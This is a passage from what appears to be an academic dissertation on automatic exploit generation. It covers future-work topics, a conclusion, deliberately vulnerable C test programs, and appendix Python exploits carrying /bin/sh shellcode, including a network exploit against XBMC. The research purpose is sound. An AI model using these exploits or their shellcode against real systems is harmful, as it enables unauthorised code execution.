The problem is exemplified in Listing 6.1. If we consider the case where userInput is ‟A‟ 

then the generated formula will contain the implication ((userInput == ‟A‟) => (y = 1)) but 

no information on what happens if userInput equals ‟B‟ or another character. Essentially 

this means that the transition relation for y is incomplete. If our exploit requires that y 
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equals 2 we will need to discover the case statement on line 5. 

The best way to deal with this problem will depend on the mechanism being used to 

generate the program inputs. There are many algorithms for both static and dynamic 

discovery of program paths. Test generation tools that rely on solving formulae that 

describe the path condition could be used by iteratively adding conditions to the formula 

that ensure a different path is taken within the function of interest on every execution. This 

approach is commonly how such tools discover new paths so it would not seem to be a 

major effort to extend the functionality to accept feedback from the exploit generation tool. 

IdentifyingMemoryCorruptionSide-Effects 

In many real-world overflows we encounter a situation where a corrupted variable that is 

unrelated to the shellcode or instruction pointer control is used in such a way as to cause 

the program to terminate before we hijack its control flow. This is always a potential issue 

in vulnerabilities where one or more instructions are executed between the memory 

corruption and our hijack of the control flow. 

A recent example of this can be seen in the ISC dhclient vulnerability1 from June of this 

year. In this. 

vulnerability a stack based overflow occurred that corrupted several structures on the stack 

before overwriting the stored instruction pointer. A number of these structures were then 

dereferenced and read from before the end of the function and the ret instruction that 

resulted in control flow being hijacked. 

In order to automatically generate an exploit for the above situations we need to ensure that 

any variables that are corrupted by the overflow are modified to values that still result in 

the exploit being triggered. There are typically two problems. The first is as described, a 

corrupted variable is read from, and the second is where a corrupted variable is written to. 

Detecting these reads/writes is simple using any binary instrumentation framework. The 

difficulty is in determining what value to overwrite these corrupted variables with. 

The most straight-forward solution would seem to be to automatically, or otherwise, find a 

memory region at a static address that is readable and one that is writable and simply 

overwrite any corrupted variables with the correct address depending on how it is used. 

This quickly runs into difficulties if the corrupted stack variable A is a pointer to another 

variable B that is itself dereferenced. In a situation like this we need to ensure that both A 

points to a readable memory address and that at that address there is a pointer B to another 
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/ 

readable/writable memory location. The common way to do this manually is to find a static 

memory location, such as the heap in some cases, and inject the pointer B there and then 

modify the corrupted stack variable A to point to the static location of B. Once again, to do 

this automatically will require the tool to be able to relate user input to the memory 

region(s) it is copied to. It will also require us to track the path condition associated with 

the injected pointer B. 

Write-N-Bytes-Anywhere Vulnerabilities 

In this work we have discussed how one can automatically generate an exploit when a 

write-4-bytes-anywhere vulnerability is detected. It is not uncommon to encounter situation 

where we can write more or less bytes to an arbitrary location. It is also not uncommon that 

the destination operand is not entirely under our control i.e. we can specify a limited offset 

from a constant base. 

Let us first consider the case where we control n bytes of the source value and n = 4. An 

example is where we can control the destination location of a NULL byte write, e.g. an 

instruction used to terminate a string with the EOS character 0x0. To exploit these 

situations we may truncate an existing stored instruction pointer or even modify a different 

program variable that will then lead to another buffer overflow or exploitable write. This 

will require the tool to build a catalogue of such vulnerable locations. Essentially this 

means we are tracking the sets Mm and MEIP. It is relatively simple to track stored 

instruction pointers on the stack but due to stack randomisation this is not always useful. 

To determine other program variables that might be useful to corrupt via the write will 

require further taint/usage analysis after the write has occurred. A more general solution 

would be to provide the tool with addresses in MEIP that are static and usable in all 

applications on a given OS version, e.g. the.dtors segment. Where n < 4 the tool would 

then need to reason about whether it has sufficient control over values at such locations to 

modify an address such that it points to attacker controllable data. 

The other situation one may encounter is where the write destination address is tainted but 

overly constrained. In our current implementation we assume we have sufficient control 

over the write destination and that it is possible to make it equal the required location in 

MEIP , e.g., the addresses in the.dtors. It may be the case that the address is constrained 

within some offset from a constant base. In such situations the generated formula will be 

unsatisfiable as these constraints will be reflected within the formula. The vulnerability 
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may be exploitable though had we provided an address within the allowable range. 

Discovering this range and discovering any useful locations to modify within it are two 

different problems. 

In order to discover the range we could modify how we currently constrain the destination 

of a write instruction. As described, our implementation generates a formula that assigns 

the computation of the effective address to a new variable and then constrains that variable 

to equal our desired write destination. In situations where not all address components are 

tainted one approach might be to constrain the tainted components separately. It may then 

be possible to use iterative formula generation to discover the upper and lower bound of 

writable addresses. The challenge is then to discover an address within this range that when 

corrupted can be used to gain malicious code execution. 

Automatic Shellcode Generation 

The third precondition of our thesis is that we require the user to supply the required 

shellcode. The reason for this is that generating shellcode in the presence of complex 

program constraints is a non-trivial exercise and one that requires its own research. 

In many applications certain characters cannot occur in the input and still trigger the 

vulnerability e.g. the character 0x0 usually cannot occur in any inputs that aim to trigger a 

vulnerability caused by incorrect use of the strcpy function. The most popular automatic 

method of avoiding bad characters in shellcode is to encode the shellcode and then prepend 

a header that reverses the process, e.g. an XOR encoder. This is done iteratively until the 

shellcode is free of all bad characters. Obviously this process is not guaranteed to terminate 

and every iteration of the algorithm results in bigger shellcode. Given that we have a 

mechanism for extracting the exact constraints on user input we believe it to be worth 

investigating if an efficient method exists to modify provided shellcode to meet these 

constraints. If such a solution exists it would ideally be able to offer guarantees regarding 

completeness that are not available from current approaches as well as generating smaller 

shellcode. 

Defeating Protection Mechanisms 

As discussed in Chapter 2 there are a variety of operating system and compiler level 

protection mechanisms designed to mitigate potentially exploitable vulnerabilities. In this 

work we dealt with the consequences of one such protection mechanism, address space 

layout randomisation. For most protection mechanisms and combinations thereof there are 
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techniques employed by exploit writers to evade the restriction. Building these evasion 

techniques into an AEG system will primarily involve encoding the techniques employed 

by an exploit writer into an input template that specifies requirements that must be met for 

the technique to succeed. Detecting whether these requirements can be met or not, and 

shaping the input to meet them, is then a problem for the AEG tool. We have shown this to 

be an automatable process for ASLR but further research projects will have to extend this 

to the other protection mechanisms discussed in Chapter 2. 

AssistedExploitGeneration 

To build a completely automated and general tool for exploit generation is not, in our 

opinion, a realistic goal. There are simply far too many quirks in individual applications 

and operating systems to account for all cases. That is not to say that we should not 

research ways to improve on the current state of the art. There are many tasks that are 

common to almost all exploits that make research into the field both necessary and 

valuable. In terms of tool development though a system that is a hybrid of automated 

analysis techniques with human intuition and judgement would seem to be an attractive 

option. Many tasks that are difficult to automate reliably are relatively simple for a human 

to perform. 

For example, certain hashing algorithm implementations include a number of non-linear 

operations and many different loop-dependent paths. Given a required output from such an 

algorithm a SMT-based solution may take an excessive time to discover all paths and then 

solve the resulting formula. A human may be able to quickly identify the type of hashing 

algorithm and determine if the required output is in fact possible. If it is, there may be 

faster ways to discover the required input that can be then provided to the automatic 

analysis system instead of waiting for it to finish generating/solving formulae. 

Another case are write-n-bytes vulnerabilities where the destination address is constrained. 

In this situation if our tool can present the user with the range of usable addresses they may 

be able to quickly decide if the vulnerability is exploitable or not depending on the data 

that falls within this range. Attempting to automate this decision would require specific 

case handling for different operating systems, compilers and software protection 

mechanisms. 

Certain classes of exploits, such as those that leverage application specific design flaws, do 

not follow a specific template. These exploits operate by manipulating the application into 
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an unsafe stage. Obviously this state can be highly application specific and have no real 

meaning in the context of the security of other 

unrelated applications. Taint analysis and data-flow information is incredibly useful in such 

situations but as an assistance to a human who understands the applications architecture 

and the security guarantees it should enforce. In our opinion it may be a useful research 

direction to investigate abstraction and modeling techniques that could help in gaining an 

understanding of an application. Such research will feed into automatic exploit generation 

but could also provide useful algorithms and tools in its own right. 

 

Conclusion 

In this dissertation we have discussed the problems encountered during the AEG process 

and presented novel algorithms to solve many of them. The implementation of this system 

is the first tool to use methods derived from software verification and program analysis for 

exploit generation and we have demonstrated it to be a feasible approach to the problem. In 

this final Chapter we have outlined a number of areas we believe to be important for the 

development of AEG theory and techniques. We hope that these areas and others will 

receive sufficient attention over the coming months and years and result in techniques that 

are applicable to real-world applications on modern operating systems. 
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Appendices 

AppendixA 

SampleVulnerabilities 

Vulnerability1 

 ListingA.1:“Astrcpyvulnerability” 

1   #include<stdlib.h> 

2   #include<string.h> 

3   #include<fcntl.h> 

4   #include<unistd.h> 

http://uninformed.org/?v=2&a=4
http://pax.grsecurity.net/docs/aslr.txt
http://pax.grsecurity.net/docs/noexec.txt
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5 

6   voidfunc(char*userInput) 

7   { 

8 chararr[64]; 

9 

10 strcpy(arr,userInput); 

11   } 

12 

13    intmain(intargc,char*argv[]) 

14   { 

15 intres,fd=-1; 

16 char*heapArr=NULL; 

17 fd=open(argv[1],O_RDONLY); 

18 

19 heapArr=malloc(128*sizeof(char)); 

20 res=read(fd,heapArr,128); 

21 func(heapArr); 

22 

23 return0; 

24   } 

 

A 2 XBMC Vulnerability 

Listing A.2: “XBMC vulnerable function”  

1 int dll_open(const char* szFileName, int iMode) 

2 { 

3 char str[XBMC_MAX_PATH]; 

4 

5 // move to CFile classes 

6 if (strncmp(szFileName, "\\Device\\Cdrom0", 14) == 0) 

7 { 

8 // replace "\\Device\\Cdrom0" with "D:" 

9 strcpy(str, "D:"); 

10 strcat(str, szFileName + 14); 

11 } 

12 else strcpy(str, szFileName); 
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13 

14 CFile* pFile = new CFile(); 

15 bool bWrite = false; 

16 if ((iMode & O_RDWR) || (iMode & O_WRONLY)) 

17 bWrite = true; 

18 bool bOverwrite=false; 

19 if ((iMode & _O_TRUNC) || (iMode & O_CREAT)) 

20 bOverwrite = true; 

21 // currently always overwrites 

22 bool bResult; 

23 

24 // We need to validate the path here as some calls from ie. libdvdnav 

25 // or the python DLLs have malformed slashes on Win32 & Xbox 

26 // (-> E:\test\VIDEO_TS/VIDEO_TS.BUP)) 

27 if (bWrite) 

28 bResult = pFile->OpenForWrite(CURL::ValidatePath(str), 

bOverwrite); 

29 else 

30 bResult = pFile->Open(CURL::ValidatePath(str)); 

31 

32 if (bResult) 

33 { 

34 EmuFileObject* object = 

g_emuFileWrapper.RegisterFileObject(pFile); 

35 if (object == NULL) 

36 { 

37 VERIFY(0); 

38 pFile->Close(); 

39 delete pFile; 

40 return -1; 

41 } 

42 return g_emuFileWrapper.GetDescriptorByStream(&object-

>file_emu); 

43 } 

44 delete pFile; 
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45 return -1; 

46    } 

A 3 - 

FunctionPointerVulnerability(NoArithmeticModificationofI

nput) 

ListingA.3:“Afunctionpointeroverflow”  

1    #include <stdio.h> 

2    #include <fcntl.h> 

3    #include <stdlib.h> 

4    #include <string.h> 

5    #include <unistd.h> 

6 

7    void exit_func(int a) 

8    { 

9 printf("Shellcode was not executed\n"); 

10 exit(a); 

11    } 

12 

13     void func_ptr_smash(char *input) 

14    { 

15 int i = 0; 

16 void (*func_ptr)(int) = exit_func; 

17 char buffer[248]; 

18 

19 strcpy(buffer, input); 

20 

21 printf ("Exiting with code %d\n", i); 

22 (*func_ptr) (i); 

23    } 

24 

25     int main(int argc, char *argv[]) 

26    { 

27 int res, z, fd = -1; 

28 char *heapArr = NULL; 

29 fd = open(argv[1], O_RDONLY); 
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30 

31 heapArr = malloc(256*sizeof(char) + 1); 

32 printf("Reading 256 bytes into %p\n", heapArr); 

33 res = read(fd, heapArr, 256); 

34 

35 if (res != 256) { 

36 printf("Read %d bytes, wtf\n", res); 

37 return -1; 

38 } else { 

39 printf("Read %d bytes\n", res); 

40 } 

41 

42 heapArr[256] = ‟\x0‟; 

43 func_ptr_smash(heapArr); 

44 return 0; 

45  } 

A4 - FunctionPointerVulnerability(ArithmeticModificationofInput) 

ListingA.4:“Afunctionpointeroverflowwithlineararithmetic” 

1    #include <stdio.h> 

2    #include <fcntl.h> 

3    #include <stdlib.h> 

4    #include <string.h> 

5    #include <unistd.h> 

6 

7    void exit_func(int a) 

8    { 

9 printf("Shellcode was not executed\n"); 

10 exit(a); 

11    } 

12 

13     void func_ptr_smash(char *input) 

14    { 

15 int i = 0; 

16 void (*func_ptr)(int) = exit_func; 

17 char buffer[248]; 
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18 

19 strcpy(buffer, input); 

20 

21 printf ("Exiting with code %d\n", i); 

22 (*func_ptr) (i); 

23    } 

24 

25     int main(int argc, char *argv[]) 

26    { 

27 int res, z, fd = -1; 

28 char *heapArr = NULL; 

29 fd = open(argv[1], O_RDONLY); 

30 

31 heapArr = malloc(256*sizeof(char) + 1); 

32 printf("Reading 256 bytes into %p\n", heapArr); 

33 res = read(fd, heapArr, 256); 

34 

35 if (res != 256) { 

36 printf("Read %d bytes, wtf\n", res); 

37 return -1; 

38 } else { 

39 printf("Read %d bytes\n", res); 

40 } 

41 

42 for (z = 0; z < 248; z++) 

43 heapArr[z] = (char)heapArr[z] + 4; 

44 

45 heapArr[256] = ‟\x0‟; 

46 func_ptr_smash(heapArr); 

47 return 0; 

48   } 

A 5 - Corrupted Write Vulnerability 

 

ListingA.5:“Awrite-basedvulnerability” 

1   #include<stdlib.h> 
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2   #include<string.h> 

3   #include<fcntl.h> 

4   #include<unistd.h> 

5 

6   voidfunc(int*userInput) 

7   { 

8 int*ptr; 

9 intarr[32]; 

10 inti; 

11 

12 ptr=&arr[31]; 

13 

14 for(i=0;i<=32;i++) 

15 arr[i]=userInput[i]; 

16 

17 *ptr=arr[0]; 

18   } 

19 

20    intmain(intargc,char*argv[]) 

21   { 

22 intres,fd=-1; 

23 int*heapArr=NULL; 

24 fd=open(argv[1],O_RDONLY); 

25 

26 heapArr=malloc(64*sizeof(int)); 

27 res=read(fd,heapArr,64*sizeof(int)); 

28 func(heapArr); 

29 

30 return0; 

31   } 

AppendixB 

SampleExploits 

B1 - Stackoverflow(strcpy)Exploit 
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ListingB.1:“Astackoverflowexploit” 

1   importsys 

2 

3   exploit=‟\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d 

4   \x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f 

5   \x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

6   \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x33\x85\x04\x08\x41\x41 

7   \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

8   \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

9   \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41‟ 

10 

11    ex=open(sys.argv[1],‟w‟) 

12   ex.write(exploit) 

13   ex.close() 

B2 - XBMCExploit 

 

ListingB.2:“AnexploitforXBMC” 

1   importsys 

2   fromsocketimport* 

3 

4   exploit=‟\x47\x45\x54\x20\x2f\x78\x62\x6d\x63\x43\x6d\x64\x73\x2f\x78\x62\x6d 

5   

\x63\x48\x74\x74\x70\x3f\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x47\x65\x74\x54\x61\x67 

6   \x46\x72\x6f\x6d\x46\x69\x6c\x65\x6e\x61\x6d\x65\x28\x43\x3a\x2f\x41\x41\x41\x41 

7   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

8   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

9   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

10   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

11   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

12   
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\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

13   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

14   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

15   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

16   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

17   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

18   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

19   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

20   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

21   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

22   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

23   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

24   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

25   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

26   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

27   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

28   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

29   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 
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30   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

31   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

32   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

33   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

34   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

35   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

36   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

37   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

38   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

39   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

40   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

41   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

42   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

43   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

44   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

45   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

46   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

47   
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\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

48   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

49   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

50   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

51   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

52   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

53   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

54   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

55   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

56   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

57   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

58   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

59   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x13\xe9\xb4\x08\xeb\x18\x5e 

60   

\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0 

61   \x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41 

62   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

63   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

64   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

65   
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\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

66   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

67   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

68   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

69   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

70   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

71   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

72   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

73   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

74   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

75   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

76   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

77   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

78   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

79   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

80   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

81   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

82   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 
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83   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

84   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

85   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

86   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

87   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

88   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

89   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

90   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

91   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

92   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

93   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

94   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

95   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

96   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

97   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

98   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

99   

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

100 
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\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

101 

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

102 

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e 

103    \x6d\x70\x33\x29\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x0d\x0a‟ 

104 

105     s = socket(AF_INET, SOCK_STREAM) 

106     s.connect((sys.argv[1], int(sys.argv[2]))) 

107 

108    s.send(exploit) 

109 

110    s.close() 

B3 - FunctionPointerExploit(NoArithmeticModificationofIn-put) 

ListingB.3:“Afunctionpointeroverflowexploit”  

1    import sys 

2 

3    exploit = ‟\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d 

4    \x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f 

5    \x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

6    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

7    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

8    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

9    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

10    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

11    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

12    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

13    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

14    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

15    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

16    \x41\x41\x41\x41\x41\x41\x41\x08\xa0\x04\x08‟ 

17 

18     ex = open(sys.argv[1], ‟w‟) 

19    ex.write(exploit) 

20    ex.close() 
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B4 - FunctionPointerExploit(ArithmeticModificationofInput) 

 

ListingB.4:“Afunctionpointeroverflowexploitwithlineararithmetic

” 

1    import sys 

2 

3    exploit = ‟\xe7\x14\x5a\x85\x72\x04\x2d\xbc\x84\x42\x03\x85\x42\x08\x85\xef\x89 

4    \x4a\x04\x89\x52\x08\xac\x07\xc9\x7c\xe4\xdf\xfb\xfb\xfb\x2b\x5e\x65\x6a\x2b 

5    \x6f\x64\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 

